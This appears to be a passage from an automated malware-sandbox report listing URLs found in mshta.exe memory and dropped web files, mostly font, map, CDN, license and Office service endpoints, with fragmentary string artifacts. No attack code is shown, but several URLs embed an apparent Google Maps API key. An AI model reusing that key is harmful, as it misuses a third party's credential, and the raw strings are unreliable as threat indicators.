Source: mshta.exe, 0000000A.00000002.556041282.000000000CC1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotO
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotskin
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Source: mshta.exe, 0000000A.00000003.320709987.0000000006BFB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332510512.000000000714A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmp, css[2].css.10.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);L
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotodernizr.js?ver=2.0.6
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 0000000A.00000003.320713563.0000000006C03000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303078628.0000000006BDD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303052701.0000000006BDD000.00000004.00000800.00020000.00000000.sdmp, css[3].css.10.dr, css[1].css.10.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);EOSZZ
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);a
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);e
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot:.55;-ms-opacity:.55;0.67/
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eotC:
Source: mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eotK
Source: js[1].js.10.drString found in binary or memory: http://g.co/dev/maps-no-account
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, jquery.mobilemenu[1].js.10.drString found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.10.drString found in binary or memory: http://info.template-help.com/help/
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, jquery.mobilemenu[1].js.10.drString found in binary or memory: http://jquery.com
Source: js[1].js.10.drString found in binary or memory: http://khm.googleapis.com/mz?v=928
Source: js[1].js.10.drString found in binary or memory: http://khm0.googleapis.com/kh?v=143
Source: js[1].js.10.drString found in binary or memory: http://khm0.googleapis.com/kh?v=928
Source: js[1].js.10.drString found in binary or memory: http://khm1.googleapis.com/kh?v=143
Source: js[1].js.10.drString found in binary or memory: http://khm1.googleapis.com/kh?v=928
Source: mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://kyruus.com
Source: js[1].js.10.drString found in binary or memory: http://maps.googleapis.com
Source: mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/
Source: js[1].js.10.drString found in binary or memory: http://maps.googleapis.com/maps-api-v3/api/js/49/12
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0
Source: mshta.exe, 0000000A.00000002.545468854.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0J6
Source: js[1].js.10.drString found in binary or memory: http://maps.googleapis.com/maps/vt
Source: js[1].js.10.drString found in binary or memory: http://maps.gstatic.com/mapfiles/
Source: js[1].js.10.drString found in binary or memory: http://maps.gstatic.com/maps-api-v3/api/images/
Source: js[1].js.10.drString found in binary or memory: http://mt.googleapis.com/maps/vt/icon
Source: mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/
Source: mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/J
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1es/C:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1o
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1c-
Source: mshta.exe, 0000000A.00000003.346895131.0000000006CAD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ns.ad
Source: mshta.exe, 0000000A.00000003.346895131.0000000006CAD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ns.adbe.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: mshta.exe, 0000000A.00000003.386469392.000000000CF35000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386732370.00000000071E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.314619092.000000000710A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557430955.000000000CF35000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.546209264.00000000071EA000.00000004.00000800.00020000.00000000.sdmp, jquery.jplayer.min[1].js.10.dr, animate-logo[1].css.10.drString found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: mshta.exe, 0000000A.00000002.554612523.000000000BD10000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 0000000A.00000003.343634753.0000000006CC6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://scripts.sil.org/OFL$$
Source: mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://static.panoramio.com.storage.googleapis.com/phoW
Source: js[1].js.10.drString found in binary or memory: http://static.panoramio.com.storage.googleapis.com/photos/
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/_
Source: mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.js?ver=1.3e
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/W
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548501961.0000000007680000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit23
Source: mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2TV-
Source: mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://twitter.com/byscuits
Source: mshta.exe, 0000000A.00000003.303044900.0000000006BD3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.drString found in binary or memory: http://twitter.com/fontawesome.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: responsive[1].css.10.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556774271.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332510512.000000000714A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmp, bootstrap.min[1].js.10.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 0000000A.00000003.303502984.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303066944.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303083813.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, js[1].js.10.drString found in binary or memory: http://www.broofa.com
Source: mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386732370.00000000071E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.546209264.00000000071EA000.00000004.00000800.00020000.00000000.sdmp, jplayer.playlist.min[1].js.10.drString found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.10.drString found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: js[1].js.10.drString found in binary or memory: http://www.google.com/maps/preview/log204
Source: mshta.exe, 0000000A.00000003.386469392.000000000CF35000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386732370.00000000071E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557430955.000000000CF35000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.546209264.00000000071EA000.00000004.00000800.00020000.00000000.sdmp, jquery.jplayer.min[1].js.10.dr, jplayer.playlist.min[1].js.10.drString found in binary or memory: http://www.jplayer.org
Source: mshta.exe, 0000000A.00000002.557557475.000000000D1F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.macromedia.com
Source: mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.drString found in binary or memory: http://www.mathias-bank.de)
Source: mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332510512.000000000714A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386403873.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387670295.000000000CE74000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386732370.00000000071E7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.546209264.00000000071EA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557285067.000000000CE72000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr, camera.min[1].js.10.dr, jplayer.playlist.min[1].js.10.drString found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.10.drString found in binary or memory: http://www.woothemes.com/flexslider/
Source: mshta.exe, 0000000A.00000003.338685596.0000000006CAE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.338645699.0000000006CAD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://)S#j.background
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.aadrm.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.aadrm.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.cortana.ai
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.office.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.onedrive.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.w.org/
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.w.org/P
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://app.vzaar.com/videos/:id
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://augloop.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://augloop.office.com/v2
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: js[1].js.10.drString found in binary or memory: https://cbks0.googleapis.com/cbk?
Source: js[1].js.10.drString found in binary or memory: https://cbks1.googleapis.com/cbk?
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cdn.entity.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://clients.config.office.net/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://config.edge.skype.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
